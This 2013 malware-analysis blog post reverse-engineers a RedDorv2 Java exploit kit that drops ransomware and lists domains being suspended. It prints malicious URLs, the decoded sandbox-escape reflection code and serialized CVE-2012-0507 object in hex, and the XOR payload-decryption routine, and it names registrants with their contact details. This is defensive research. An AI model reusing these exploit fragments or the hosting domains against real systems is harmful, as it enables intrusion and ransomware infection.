Thứ Sáu, 5 tháng 4, 2013

This is the great teamwork, never be a personal work, I thank you the below wonderful team who helped the problem completely solved within 12hrs: @Cephurs @nyxbone @kahusecurity @a..om @essachin @rjacksix and @GloverDonovan + the rest of our friends who supported this mission

We had the active infectors is coming from the various urls as per below:

rootaliasx.biz/traff.html
dexthous.biz/traff.html
antestent.biz/hava.html
bastapils.biz/hava.html
bastapils.biz/traff.html
mzthtl.freewww.info/freeporn.html
ggooec.freewww.info/freeporn.html
ggooec.freewww.info/freeporn.html
zcmgiawwm.freewww.info/freeporn.html
asikdycf.wikaba.com/freeporn.html
hfncudbeu.wikaba.com/sextour.html
vjbgaz.freewww.info/freeporn.html
uekfnibe.wikaba.com/freeporn.html
bcmht.freewww.info/11111111.html
delphilol.biz/testo.html
xkshgc.wikaba.com/sextour.html
:
: (many more!)
And we need to dismantle these domains ASAP.
So everything was in a hurry since Friday is to come soon.

[NEW] Quoted #Tango Dismantling Report Sat Apr 6 01:54:29 JST 2013:

==========================================================================
DOMAIN NAMES A RECORD NS SERVERS SUSPENSION STATUS
--------------------------------------------------------------------------
rootaliasx.biz,, IP DOWN NORTH.INAPPLE.COM SUSPENSION IN PROCESS
SOUTH.INAPPLE.COM
WEST.INAPPLE.COM
EAST.INAPPLE.COM
dexthous.biz,, IP DOWN NORTH.INAPPLE.COM SUSPENSION IN PROCESS
SOUTH.INAPPLE.COM
WEST.INAPPLE.COM
EAST.INAPPLE.COM
antestent.biz,, IP DOWN NORTH.INAPPLE.COM SUSPENSION IN PROCESS
SOUTH.INAPPLE.COM
WEST.INAPPLE.COM
EAST.INAPPLE.COM
bastapils.biz,, IP DOWN NORTH.INAPPLE.COM SUSPENSION IN PROCESS
SOUTH.INAPPLE.COM
WEST.INAPPLE.COM
EAST.INAPPLE.COM
bastapils.biz,, IP DOWN NORTH.INAPPLE.COM SUSPENSION IN PROCESS
SOUTH.INAPPLE.COM
WEST.INAPPLE.COM
EAST.INAPPLE.COM
delphilol.biz,, IP DOWN NORTH.INAPPLE.COM SUSPENSION IN PROCESS
SOUTH.INAPPLE.COM
WEST.INAPPLE.COM
EAST.INAPPLE.COM
mzthtl.freewww.info,, IP DOWN DNS DOWN SUSPENSION COMPLETE!
ggooec.freewww.info,, IP DOWN DNS DOWN SUSPENSION COMPLETE!
zcmgiawwm.freewww.info,, IP DOWN DNS DOWN SUSPENSION COMPLETE!
asikdycf.wikaba.com,, IP DOWN DNS DOWN SUSPENSION COMPLETE!
hfncudbeu.wikaba.com,, IP DOWN DNS DOWN SUSPENSION COMPLETE!
vjbgaz.freewww.info,, IP DOWN DNS DOWN SUSPENSION COMPLETE!
uekfnibe.wikaba.com,, IP DOWN DNS DOWN SUSPENSION COMPLETE!
bcmht.freewww.info,, IP DOWN DNS DOWN SUSPENSION COMPLETE!
xkshgc.wikaba.com,, IP DOWN DNS DOWN SUSPENSION COMPLETE!
: : : :

It is an Exploit Kit with the panel below:
(* In the end we were informed by @kafaine it's a RedDorv2 Exploit Kit)

The landing page infector contains the HTML like:
--2013-04-05 10:50:54--  h00p://rootaliasx.biz/traff.html
Resolving rootaliasx.biz... seconds 0.00, 46.4.179.111
Caching rootaliasx.biz => 46.4.179.111
Connecting to rootaliasx.biz|46.4.179.111|:80... seconds 0.00, connected.
GET /traff.html HTTP/1.0
Host: rootaliasx.biz
Connection: Keep-Alive
HTTP request sent, awaiting response...
:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 05 Apr 2013 05:20:55 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Powered-By: PHP/5.3.23
Cache-Control: no-store, no-cache
Expires: Fri, 05 Apr 2013 05:20:27 GMT
Vary: Accept-Encoding,User-Agent
Content-Length: 551
:
200 OK
Length: 551 [text/html]
Saving to: `traff.html'
2013-04-05 10:50:56 (36.4 MB/s) - `traff.html' saved [551/551]
With the HTML code : As per coded it lead to the JAR file:
--2013-04-04 14:40:45--  h00p://rootaliasx.biz/traff.jar
Resolving rootaliasx.biz... seconds 0.00, 46.4.179.111
Caching rootaliasx.biz => 46.4.179.111
Connecting to rootaliasx.biz|46.4.179.111|:80... seconds 0.00, connected.
:
GET /traff.jar HTTP/1.0
Host: rootaliasx.biz
HTTP request sent, awaiting response...
:
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 04 Apr 2013 09:10:45 GMT
Content-Type: application/java-archive
Connection: keep-alive
X-Powered-By: PHP/5.3.23
Content-Disposition: attachment; filename="traff.jar"
Content-Length: 63706
Cache-Control: no-store, no-cache
Expires: Thu, 04 Apr 2013 09:10:17 GMT
Vary: Accept-Encoding,User-Agent
:
200 OK
Length: 63706 (62K) [application/java-archive]
Saving to: `traff.jar'
2013-04-04 14:40:53 (8.32 KB/s) - `traff.jar' saved [63706/63706]
IP involved in the infection: ↑All IPs are in HELZNER Germany Network. Under below registrant:
inetnum:        46.4.179.64 - 46.4.179.127
netname: VPSSERVER
descr: vpsserver
country: DE
admin-c: VK1952-RIPE
tech-c: VK1952-RIPE
status: ASSIGNED PA
mnt-by: HOS-GUN
source: RIPE Filtered"

person: Viacheslav Krivosheev
address: vps-server
address: Poliykovskaiy 8a
address: 153011 IVANOVO
address: RUSSIAN FEDERATION"
phone: +79106677787
fax-no: +74932502950
nic-hdl: VK1952-RIPE
mnt-by: HOS-GUN
source: RIPE # Filtered

JAR File Details: (Thanks to VT for the format)

SHA1: f8e433a2190017d9bd866374d6adfc124409e83e
MD5: 8a928628fa5d3e43db4ca1ae6d0213b6
File size: 62.2 KB ( 63705 bytes )
File name: traff.jar
File type: JAR
Some pcaps..& more evidence: Is the multiple class of Java archive executable, contains embedded object. The traff.jar classes is having components as follows:
I: System environment sniffer
C: The main class to be called from landing page
D: Contains hidden W.class and XOR logic with its key
K: String translation + cascaded with char rotator logic obfuscatoin
S: Embedded object extractor logic, used same key as XOR
A: Has some exploit methods/codes with some obfuscation.
TRAFF: An embedded object trailed at the bottom (in HEX)
To understand the flow we must reverse it and to understand the decryption goes. We much think backward, start with the lower step of obfuscation and build things up. The most obfuscation is mainly using K.Class. @Cephurs was recognizing it right away with the ROT13 logic while I was so dumb to start on XOR parts (Thank's friend!)
To make it simple it was rotating the chars with below logic in Java:
public static String rot13(String paramString)
{
String str = "";
int i = 13;

for (int j = 0; j < paramString.length(); j++)
{
char c = paramString.charAt(j);
if ((c >= 'a') && (c <= 'm')) c = (char)(c + i);
else if ((c >= 'A') && (c <= 'M')) c = (char)(c + i);
else if ((c >= 'n') && (c <= 'z')) c = (char)(c - i);
else if ((c >= 'N') && (c <= 'Z')) c = (char)(c - i);
str = str + c;
}
return str;
}
Which is resulting in rotation character below:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz 
NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm
And all of the strings in K.Class can be converted into below table:
wnin.frphevgl.preg.Pregvsvpngr                              java.security.cert.Certificate               
wnin.frphevgl.PbqrFbhepr java.security.CodeSource
wnin.frphevgl.Crezvffvbaf java.security.Permissions
svyr: file:
frg set
fha.bet.zbmvyyn.wninfpevcg.vagreany.Pbagrkg sun.org.mozilla.javascript.internal.Context
pbz.fha.wzk.zornafreire.ZOrnaVafgnagvngbe com.sun.jmx.mbeanserver.MBeanInstantiator
H U
cbejAXOIiDNOD porwNKBVvQABQ
1.7 1.7
wnin.vb.gzcqve java.io.tmpdir
svaqPynff findClass
jimVfWd.rkr wvzIsJq.exe
bf.anzr os.name
wnink.znantrzrag.ZOrnaFreire javax.management.MBeanServer
cbejAXOIiDNOD porwNKBVvQABQ
arjZOrnaFreire newMBeanServer
pbz.fha.wzk.zornafreire.Vagebfcrpgbe com.sun.jmx.mbeanserver.Introspector
Jvaqbjf Windows
wnin.vb.gzcqve java.io.tmpdir
wnin.frphevgl.NyyCrezvffvba java.security.AllPermission
wnink.znantrzrag.ZOrnaFreireQryrtngr javax.management.MBeanServerDelegate
I V
C P
tnzr.J game.W
ryrzragSebzPbzcyrk elementFromComplex
cbejAXOIiDNOD porwNKBVvQABQ
wnin.frphevgl.CebgrpgvbaQbznva java.security.ProtectionDomain
GGSPg.rkr TTFCt.exe
fha.bet.zbmvyyn.wninfpevcg.vagreany.TrarengrqPynffYbnqre sun.org.mozilla.javascript.internal.GeneratedClassLoader
wnin.frphevgl.CrezvffvbaPbyyrpgvba java.security.PermissionCollection
wnin.irefvba java.version
pbz.fha.wzk.zornafreire.WzkZOrnaFreire com.sun.jmx.mbeanserver.JmxMBeanServer
trgZOrnaVafgnagvngbe getMBeanInstantiator
nqq add
nprq0005757200135o4p6n6176612r6p616r672r4s626n6563743o90pr aced0005757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c020000787000000002757200095b4c67616d652e413bfe2c941188b6e5ff02000078700000000170737200306a6176612e7574696c2e636f6e63757272656e742e61746f6d69632e41746f6d69635265666572656e63654172726179a9d2dea1be65600c0200015b000561727261797400135b4c6a6176612f6c616e672f4f626a6563743b787071007e0003
cbejAXOIiDNOD porwNKBVvQABQ
qrpynerqZrgubqf declaredMethods
wnin.frphevgl.Crezvffvba java.security.Permission
For the table picture is here: See the long var "aced...blah blah" string? Is actually a Java class with the insides is CVE-2012-0507 code↓
0000   AC ED 00 05 75 72 00 13 5B 4C 6A 61 76 61 2E 6C    ....ur..[Ljava.l
0010 61 6E 67 2E 4F 62 6A 65 63 74 3B 90 CE 58 9F 10 ang.Object;..X..
0020 73 29 6C 02 00 00 78 70 00 00 00 02 75 72 00 09 s)l...xp....ur..
0030 5B 4C 67 61 6D 65 2E 41 3B FE 2C 94 11 88 B6 E5 [Lgame.A;.,.....
0040 FF 02 00 00 78 70 00 00 00 01 70 73 72 00 30 6A ....xp....psr.0j
0050 61 76 61 2E 75 74 69 6C 2E 63 6F 6E 63 75 72 72 ava.util.concurr
0060 65 6E 74 2E 61 74 6F 6D 69 63 2E 41 74 6F 6D 69 ent.atomic.Atomi
0070 63 52 65 66 65 72 65 6E 63 65 41 72 72 61 79 A9 cReferenceArray.
0080 D2 DE A1 BE 65 60 0C 02 00 01 5B 00 05 61 72 72 ....e`....[..arr
0090 61 79 74 00 13 5B 4C 6A 61 76 61 2F 6C 61 6E 67 ayt..[Ljava/lang
00A0 2F 4F 62 6A 65 63 74 3B 78 70 71 00 7E 00 03 /Object;xpq.~..
OK, we got the table. What's next?

Unlocked encoding logic

Put all K.class vars in the rest of the classes variables & that will make you understand the exploitation use completely: In I class it detects OS Name and Java Versions:
(9):  String str1 = System.getProperty(K.BvKs70); /// System.getProperty(os.name); 
(24): String str8 = System.getProperty(K.sATQ); /// System.getProperty(java.version);
(32): String str10 = getParameter(K.JgUQEqm); /// getParameter(U);
(40): String str14 = getParameter(K.HS0g); /// getParameter(V);
And also IMPORTANT condition of infection (main windows + Java >= 1.7)
(58): (str1.indexOf(K.jp1jj) >= 0) // if (str1.indexOf(Windows) >= 0)
(83): if (str8.startsWith(K.adxAi3j)) // if (str8.startsWith(1.7))
In A class :
(27):  URL localURL = new URL(K.F5vzTsGa + "//");   → URL localURL = new URL("file:" + "//");
(43): Class localClass1 = Class.forName(K.zDCn9Y); → Class localClass1 = Class.forName("java.security.cert.Certificate");
(68): Class localClass2 = Class.forName(K.dy3rkh); → Class localClass2 = Class.forName("java.security.Permissions");
(86): Class localClass3 = Class.forName(K.hkhQ5O); → Class localClass3 = Class.forName("java.security.Permissions");
(98): Method localMethod = localClass2.getMethod(K.Url1a, new Class[] { localClass3 }); → K.Url1a == "add"
(100): localMethod.invoke(localObject2, new Object[] { Class.forName(K.ZklLSir).newInstance() }); → K.ZklLSir == "java.security.AllPermission"
(113): Class localClass4 = Class.forName(K.tmc3I); → "java.security.ProtectionDomain"
(117): Class localClass5 = Class.forName(K.SNku); → "java.security.Permissions"
(133): Class localClass6 = Class.forName(K.uKIX_p); → "java.security.PermissionCollection"
(195): Class localClass7 = paramA.defineClass(K.Jb928E, D.decoded, 0, i104, (ProtectionDomain)localObject4); // "game.W"
(211): String str49 = System.getProperty(K.p6BEDfqv); → "java.io.tmpdir"
(218): String str51 = "\\" + K.JuUKXjj; → "TTFCt.exe"
(263): localConstructor3.newInstance(new Object[] { paramString1, paramString2, paramString3, "0", str49 + str51, S.class.getClassLoader().getResourceAsStream(paramString3), K.PH8cd4 });
→ "porwNKBVvQABQ"
In C Class:
(73): ObjectInputStream localObjectInputStream = new ObjectInputStream(new ByteArrayInputStream(X(K.TvUD3yH4)));
↑This will getting the binary stream CVE-2012-0507 to be loaded. because the :
K.TvUD3yH4 = "aced000575...(snipped)...f626a6563743b787" 
And..
(96): localObject[1].getClass().getMethod(K.I4VwpS8, new Class[] { Integer.TYPE, Object.class }).invoke(localObject[1], new Object[] { Integer.valueOf(0), getClass().getClassLoader() });
→ K.I4VwpS8 == "set"
This is the abuse of the getMethod of - java.lang.reflect.Method invoke() method CVE-2012-4820 In the K Class, let's see what bad actors tried to hide: javax.management.MBeanServer was imported as per encoded:
(128): public static String uuIj = new String(rot13("wnink.znantrzrag.ZOrnaFreire"));
(301): public static String ZyZhnh5a = new String(rot13("pbz.fha.wzk.zornafreire.WzkZOrnaFreire"));
com.sun.jmx.mbeanserver.Introspector was imported as per encoded:
(62):  public static String Qj7BnL = new String(rot13("pbz.fha.wzk.zornafreire.ZOrnaVafgnagvngbe"));
(148): public static String dradg2 = new String(rot13("pbz.fha.wzk.zornafreire.Vagebfcrpgbe"));
and javax.management.MBeanServerDelegate:
(182): public static String i_fJGSy = new String(rot13("wnink.znantrzrag.ZOrnaFreireQryrtngr"));
In the S class was written:
(14):  Class localClass = Class.forName(K.dradg2);  // Class localClass = Class.forName(com.sun.jmx.mbeanserver.Introspector); 
(17): Method localMethod1 = localClass.getMethod(K.vpAhSF, new Class[] { Object.class, String.class });
(20): Method[] arrayOfMethod1 = (Method[])(Method[])localMethod1.invoke(null, new Object[] { paramObject, K.uATab_ });
(103): Class localClass1 = Class.forName(K.ZyZhnh5a);
(118): Method localMethod1 = localClass1.getMethod(K.CqAw, new Class[] { String.class, Class.forName(K.uuIj), Class.forName(K.i_fJGSy), Boolean.TYPE });
(139): Class localClass2 = Class.forName(K.Qj7BnL);
(149): Method localMethod2 = localClass1.getMethod(K.n7tOG, new Class[0]);
(173): Method localMethod3 = localClass2.getMethod(K.lKCeXn, new Class[] { String.class, ClassLoader.class });
(188): Class localClass1 = fItgag(K.Mg7ws1);
(226): Class localClass2 = fItgag(K.YoILBY);
(262): String str27 = System.getProperty(K.aPd5);
(269): String str30 = "\\" + K.H95l4;
(311): localConstructor.newInstance(new Object[] { paramString1, paramString2, paramString3, "1", str27 + str30, S.class.getClassLoader().getResourceAsStream(paramString3), K.F8pYg2tfr });
which is actually means:
(14):  Class localClass = Class.forName(com.sun.jmx.mbeanserver.Introspector);
(17): Method localMethod1 = localClass.getMethod(elementFromComplex, new Class[] { Object.class, String.class });
(20): Method[] arrayOfMethod1 = (Method[])(Method[])localMethod1.invoke(null, new Object[] { paramObject, declaredMethods });
(103): Class localClass1 = Class.forName(com.sun.jmx.mbeanserver.JmxMBeanServer);
(118): Method localMethod1 = localClass1.getMethod(K.CqAw, new Class[] { String.class, Class.forName(K.uuIj), Class.forName(javax.management.MBeanServerDelegate), Boolean.TYPE });
(139): Class localClass2 = Class.forName(com.sun.jmx.mbeanserver.Introspector);
(149): Method localMethod2 = localClass1.getMethod(getMBeanInstantiator, new Class[0]);
(173): Method localMethod3 = localClass2.getMethod(findClass, new Class[] { String.class, ClassLoader.class });
(188): Class localClass1 = fItgag(sun.org.mozilla.javascript.internal.Context);
(226): Class localClass2 = fItgag(sun.org.mozilla.javascript.internal.GeneratedClassLoade);
(262): String str27 = System.getProperty(java.io.tmpdir);
(269): String str30 = "\\" + "wvzIsJq.exe";
(311): localConstructor.newInstance(new Object[] { paramString1, paramString2, paramString3, "1", str27 + str30, S.class.getClassLoader().getResourceAsStream(paramString3), porwNKBVvQABQ });
OK, we have all codes decoded, we can read all codes now! Good, first let's see if we can recognize the exploitation used..

Exploitation

Varied of exploitation methods and code detected, mainly is aimed the abuse of getMethod invoke(), combined with loading JmxMBeanServer's components. It is aiming for Java version 1.7. I tried to infect myself with 1.6.x and ended up with crash:


Shortly. These are the list of exploitation(CVE/CWE) method I can spot:
CVE-2012-4820: java.lang.reflect.Method invoke() method 
CWE-578: EJB Bad Practices use of Class Loader
CVE-2012-0507 Java AtomicReferenceArray Type Violation
CVE-2013-0431 Getting access to restricted classes (via com.sun.jmx.mbeanserver.MBeanInstantiator)

Payload

This case is interesting. Because we see two ways gain the payload here, just grep the .exe in the above decoded classes code and you'll get:
A.class with payload: "TTFCt.exe"
S.class with the payload: "wvzIsJq.exe"

First route to payload...

Payload was coded to be defined by the below code as a class. Is it really a class?

Class localClass7 = paramA.defineClass("game.W", 
D.decoded, 0, i104,
(ProtectionDomain)localObject4);
Which is the Game.W doesn't exist in the classes list!
So there is a hidden class in D.Class with"decoded"function.

:-) ↓We can see the decoded XOR key used...

public static byte[] decoded = XorDecrypt(encoded, "porwNKBVvQABQ");
。。to decrypt this array in D Class.. (Which I assumed it was an encoded shellcode in quick analysis)
public static byte[] encoded = { -70, -111, -..
.., 35, 89, 65, 20, 86, 112, 56, 120, 119, 22, ..
..5, 89, 81, 58, 101, 114, 84, 78, 1, 69, 86, 6..
... 29, 47, 61, 35, 121, 31, 62, 110, 11, 63, 0,..
...3, 48, 56, 30, 8, 73, 94, 2, 33, 35, 32, 23, ..
... 0, 48, 110, 46, 48, 30, 8, 93, 36, 58, 57, 4..
..., 16, 97, 24, 54, 36, 31, 63, 38, 121, 120, 3..
...4, 80, 65, 90, 59, 17, 25, 19, 88, 39, 36, 10..
... 112, -24, 114, -2, 66, 75, -56, 86, -3, 80, ..
To make it clear.. a pic :-)↓ ↑This Array was loaded by the below loading-logic loops:
public static byte[] XorDecrypt(byte[] paramArrayOfByte, String paramString)
{ int i = 0; for (int j = 0; i < paramArrayOfByte.length; j = (j + 1) % paramString.length())
{ int tmp12_11 = i; paramArrayOfByte[tmp12_11] = (byte)(paramArrayOfByte[tmp12_11]
^ paramString.charAt(j));
Into paramArrayOfByte to be soted in to localObject4, which having definition object below: (trailed it↓)
↓localObject4 = localConstructor1.newInstance(new Object[] { localObject3, localObject2 });
↓localObject3 = localConstructor2.newInstance(new Object[] { localURL, localObject1 });
↓localObject2 = localMethod1.invoke(null, new Object[] { "", null, null, Boolean.valueOf(true) });
localObject1 = Array.newInstance(localClass1, 0)
↑Yes, the code will treat the object as a Java class after you XOR the array.
This class will extract TRAFF embedded file & save it with file://TTFCt.exe.
While I was on decoding the vars , Daryll of Kahu Security was successfully extracted this 1st. :-) So you'd better also read Kahu Security good post about extracting EXE payload file saved from this. Here is the Kahu Security post's link-->>[HERE]
:-))) OK. End of the first method.


Second route to payload, a bypass :-)

This is the second route of getting the binary payload. Let's see it further, now, what is inside of the TRAFF embedded object? A binary? Another Class?
We detected 31KB Object "traff" is a encoded exe embedded in jar:
-rwxr--r--  1 MMD  toor  31232 Apr  3 22:44 "traff"*
looks like this encoded data:
0000   3D 35 F2 77 4F 4B 42 56 72 51 51 42 AE 8F 6F 72    =5.wOKBVrQQB..or
0010 37 4F 4B 42 56 76 51 41 02 51 70 6F 72 77 4E 4B 7OKBVvQA.QporwNK
0020 42 56 76 51 41 42 51 70 6F 72 77 4E 4B 42 56 76 BVvQABQporwNKBVv
0030 51 41 42 51 70 6F 72 77 4E 4B 42 56 F6 51 41 42 QABQporwNKBV.QAB
0040 5F 6F D5 7C 77 FA 42 8F 77 CE 50 0D 8F 70 24 07 _o.|w.B.w.P..p$.
0050 1B 04 6E 3B 30 39 11 23 20 2F 71 13 0E 1C 19 21 ..n;09.# /q....!
0060 3F 62 34 13 71 33 37 3F 50 06 1C 57 0A 04 11 76 ?b4.q37?P..W...v
0070 1B 3E 25 27 7F 7D 65 56 77 4E 4B 42 56 76 51 41 .>%'.}eVwNKBVvQA
0080 12 14 70 6F 3E 76 4B 4B 45 62 2A 00 41 42 51 70 ..po>vKKEb*.ABQp
0090 6F 72 77 4E AB 42 58 77 5A 40 43 16 70 6D 72 77 orwN.BXwZ@C.pmrw
: : :
7820 05 46 08 71 27 61 F1 5F F4 47 C0 7B D5 66 E9 61 .F.q’a._.G.{.f.a
7830 E4 72 E1 40 D9 42 C8 7E 8E 72 9C 46 81 71 98 61 .r.@.B.~.r.F.q.a
7840 99 5F 64 46 7D 7A 1D 67 08 60 C6 73 F7 41 D9 43 ._dF}z.g.’.s.A.C
7850 92 7F A6 73 56 76 51 41 42 51 70 6F 72 77 4E 4B ...sVvQABQporwNK
7860 42 56 76 51 41 42 51 70 6F 72 77 4E 4B 42 56 76 BVvQABQporwNKBVv
7870 51 41 42 51 70 6F 72 77 4E 4B 42 56 76 51 41 42 QABQporwNKBVvQAB
7880 51 70 6F 72 77 4E 4B 42 56 76 51 41 42 51 70 6F QporwNKBVvQABQpo
: : :
7990 42 51 70 6F 72 77 4E 4B 42 56 76 51 41 42 51 70 BQporwNKBVvQABQp
79A0 6F 72 77 4E 4B 42 56 76 51 41 42 51 70 6F 72 77 orwNKBVvQABQporw
79B0 4E 4B 42 56 76 51 41 42 51 70 6F 72 77 4E 4B 42 NKBVvQABQporwNKB
79C0 56 76 51 41 42 51 70 6F 72 77 4E 4B 42 56 76 51 VvQABQporwNKBVvQ
79D0 41 42 51 70 6F 72 77 4E 4B 42 56 76 51 41 42 51 ABQporwNKBVvQABQ
79E0 70 6F 72 77 4E 4B 42 56 76 51 41 42 51 70 6F 72 porwNKBVvQABQpor
79F0 77 4E 4B 42 56 76 51 41 42 51 70 6F 72 77 4E 4B wNKBVvQABQporwNK
To be clear.. a Pic :-)↓ ↑Can you see the XOR pattern? :D
Yes, but we should confirm XOR key which is supposed in the hidden W.class..back to the the D.class...
But wait!! there is another clue! In the decoded code in S.Class, it was mentioned "again":
localClass3 = (Class)localMethod3.invoke(localObject2, new Object[] { null, D.decoded });
If we trail it further we found that the same XOR key"porwNKBVvQABQ" is used. Strange! This is suggesting the automation scheme in this Exploit Kit in obfuscating any of the payload embedded with XOR. See the XOR key in the end of string below↓
(311): localConstructor.newInstance(new Object[] { paramString1, paramString2, paramString3, "1", str27 + str30, S.class.getClassLoader().getResourceAsStream(paramString3), porwNKBVvQABQ });
Traced it more to come up with loading of new object to drop a file:
str27 = System.getProperty(java.io.tmpdir);
str30 = "\\" + "wvzIsJq.exe";
So this could be it, jumped to FreeBSD shell to XOR the TRAFF "porwNKBVvQABQ" key
$ myxorwraper.py -l 13 -k porwNKBVvQABQ ./traff
./20130405100541.out
$ ls -alF 20130405100541.out
"-rwxr--r-- 1 xxx xxx 31232 Apr 5 19:06 20130405100541.out*"
That's the XOR result. ↓Here's that PE Infor:
Exif++:
MIMEType : application/octet-stream
Subsystem : Windows GUI
MachineType : Intel 386 or later, and compatibles
TimeStamp : 2013:04:03 14:52:07+01:00
CompileTime : 2013-04-03 13:52:07
FileType : Win32 EXE
PEType : PE32
CodeSize : 512
LinkerVersion : 1.71
InitializedDataSize : 29696
SubsystemVersion : 4.0
ImageVersion : 0.0
OSVersion : 1.0
UninitializedDataSize : 0

Sections:
.code 0x1000 0x1fa 512
.data 0x2000 0x6d3c 28160
.edata 0x9000 0x50 512
.idata 0xa000 0x1d4 512
.reloc 0xb000 0x54 512

Entry Point at 0x400
Virtual Address is 0x401000
:
0000 4D 5A 80 00 01 00 00 00 04 00 10 00 FF FF 00 00 MZ..............
0010 40 01 00 00 00 00 00 00 40 00 00 00 00 00 00 00 @.......@.......
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 ................
0040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ........!..L.!Th
0050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno
0060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS
0070 6D 6F 64 65 2E 0D 0A 24 00 00 00 00 00 00 00 00 mode...$........
0080 50 45 00 00 4C 01 05 00 07 34 5C 51 00 00 00 00 PE..L....4.Q....
Looks like I bumped into @rjacksix's uploaded sample in VT ;-) URL-->>[HERE]
SHA256: bab60825b4e25ecbe42981514b3854451eeb542b2bf7efdf65c1dac1d1b47b2d
SHA1: 8c9f66d79f2b798cc655612af41d51ed53c9f222
MD5: 2a933a291f92e2a257c5cb0875b227a2
File size: 30.5 KB ( 31232 bytes )
File name: 2a933a291f92e2a257c5cb0875b227a2.exe
File type: Win32 EXE
Tags: peexe
Detection ratio: 5 / 46
Analysis date: 2013-04-04 17:06:37 UTC ( 17 hours, 6 minutes ago )
Malware names;
Panda : Trj/Dtcontx.C
Symantec : WS.Reputation.1
CAT-QuickHeal : (Suspicious) - DNAScan
Kaspersky : Trojan-Ransom.Win32.Foreign.bdjg
Microsoft : Trojan:Win32/Urausy.D
↑here we are, a Ransomware. See tweet by @nyxbone: Please block all url and of the IP mentioned above.
In my test cases before infecting & crash my PC is sent DNS request to the host below:
↑It requesting A record to callback to domain testodrom.biz
you can see right before crash the malform packet was generated..

If you got infected by this ransomware you'll find these files in %AppData% and some changes in registry pointing autostart of these "AltShell". These are the self-copied of the payload, and to be executed by shell environment.

Kudoz! MalwareMustDie Team!

Quick note to "wack" the bins...

Thank's to @kafeine for informing EK info;
The quick analysis I made is linked here-->>[HERE]
(Used Google drive because pastebin blocked me "again" somehow)
I realized that the-2hours-made quick (halfway) analysis information is incorrect and rough in some points, so please refer to this post for the valid information, with thank you for be patient with us solving difficult case.
 

Samples

We shared the samples for the research & raising detection ratio:
Download is here-->>[HERE]

#MalwareMustDie!

Thứ Ba, 26 tháng 3, 2013

We are releasing announce of the suspension of 263 malware domains as latest result of Operation Tango Down [What is TangoDown?] as per below details.

The current suspension is the work under good coordination between security researchers who spotted the threat, our PiC in charge (thank's to ‏@essachin) and the related registrant who help to the suspension and banning procedure process accordingly. We received the great lead time in following this suspention as a good sign to shutdown more malware domains in the future.

Here we go:



1. Suspension of 22 domains of Sweet Orange EK malware infector
OP Name: #OperationOrangeTart
Thank you for the cooperation of the related registrar!

The evidence/analysis related to the threat:

Sweet Orange EK infection analysis--> here

Verdict:
[1] URLQuery --> here
[2] URLQuery --> here
[3] URLQuery --> here

Suspended domains:
widgetcolorq1.biz
widgetcolorq2.biz
widgetcolorq3.biz
widgetcolorq4.biz
widgetcolorq5.biz
widgetcolorq6.biz
widgetcolorq7.biz
widgetcolorq8.biz
widgetcolorq9.biz
widgetcolorq10.biz
familyteapie1.biz
familyteapie2.biz
familyteapie3.biz
familyteapie4.biz
familyteapie5.biz
familyteapie6.biz
familyteapie7.biz
familyteapie8.biz
familyteapie9.biz
familyteapie10.biz
bignigthbrotherinc.biz
visiowrongly.biz
The registrant involved lead to the bad actor involved:
Registrant ID:             DI_27001099
Registrant Name: Lukas Vilkos
Registrant Organization: N/A
Registrant Address1: Independence str 12, 22
Registrant City: Nederka
Registrant State/Province: Flevoland
Registrant Postal Code: 3313
Registrant Country: Netherlands
Registrant Country Code: NL
Registrant Phone Number: +31.33131451
Registrant Email: jokey00012@googlemail.com
*)is currently under the BAN list. Related information: 2. Suspension of 240+ domains of Sofos EK malware infector OP Name: #OperationBurnAffectsuites Thank you for good cooperation from related registrar! The evidence/analysis related to the threat: Verdict: [1] URLQuery --> here[2] URLQuery --> here[3] URLQuery --> here[4] Good infection chain picture by @HkMalwares *) click to enlarge↑ [5] Infection in progress (landing page) PCAP -->here[6] Jsunpack evidence of landing page -->here[7] Landing page decoded -->here To be banned. The bad actor's registrant data:
Registrant ID:            DI_26439309
Registrant Name: steal elaine
Registrant Organization: N/A
Registrant Address1: attributable 90
Registrant City: LosAngeles
Registrant Postal Code: 450963
Registrant Country: United States
Registrant Country Code: US
Registrant Phone Number: +466.5415358
Registrant Email: affectsuites@projectedtornadossmoked.com
*) More Malicious Domains under this registrant--> here We issued suspension of current case related domains, which is currently effectibe in DNS query and the full suspension will be effective shortly.
maximize-avwodawdletokp.biz
underneathbc.biz
openercvmb.biz
siftingvzu.biz
trulylktarraignedwto.biz
draughtek.biz
oopovstwhoopsqi.biz
xhdahqobextractionqck.biz
referenceslni.biz
commandmentsbqzsnoopyle.biz
bored-sbdmanipulateykq.biz
intellectualqwe.biz
merrilyeolfsqueakruv.biz
becomesxy.biz
buryingkurz.biz
czrlstwithdrewgnc.biz
unleashednssc.biz
dcryfvhardenvgd.biz
vehementlybtpromulgateptz.biz
characterizesmrdf.biz
dalxunspoiledqmtu.biz
ibnxbdownsizingfsw.biz
eyed-mugbsurvivabilityfak.biz
suspensionsnlyotwinsnx.biz
plausibility-hastretchingab.biz
promptsyy.biz
ufo-soqgenitaliaxr.biz
orphanednkzt.biz
particulatezdn.biz
capitalisticmze.biz
tywma-lvusedsx.biz
facilityzw.biz
avuwu-edcrowdsboa.biz
vhprc-veunderestimatedzft.biz
praising-fcsparcelkimz.biz
underpaidksl.biz
somedaysniffammunition.biz
inimationsexy.org
jerseyutterancepublications.biz
conferencingnym.biz
ygqxuvashtraysttew.biz
potholeskzbrentcrr.biz
cripplepko.biz
knotsztwq.biz
consciencesbxdhawaiianazp.biz
earmarksygv.biz
ryxxlxtogetheriddz.biz
evolvebhls.biz
udkqepknifeoyqr.biz
detectingszx.biz
dauntingoqfchampaignimmb.biz
wlczvahaulsr.biz
unnoticedlbi.biz
settings-ffuxreplicationkqo.biz
kingstonbg.biz
as-lwirenegademzn.biz
quartersozfi.biz
mailings-nioctoberocu.biz
brands-recommercialsps.biz
communicatingcly.biz
stripedrxhg.biz
positivelyxc.biz
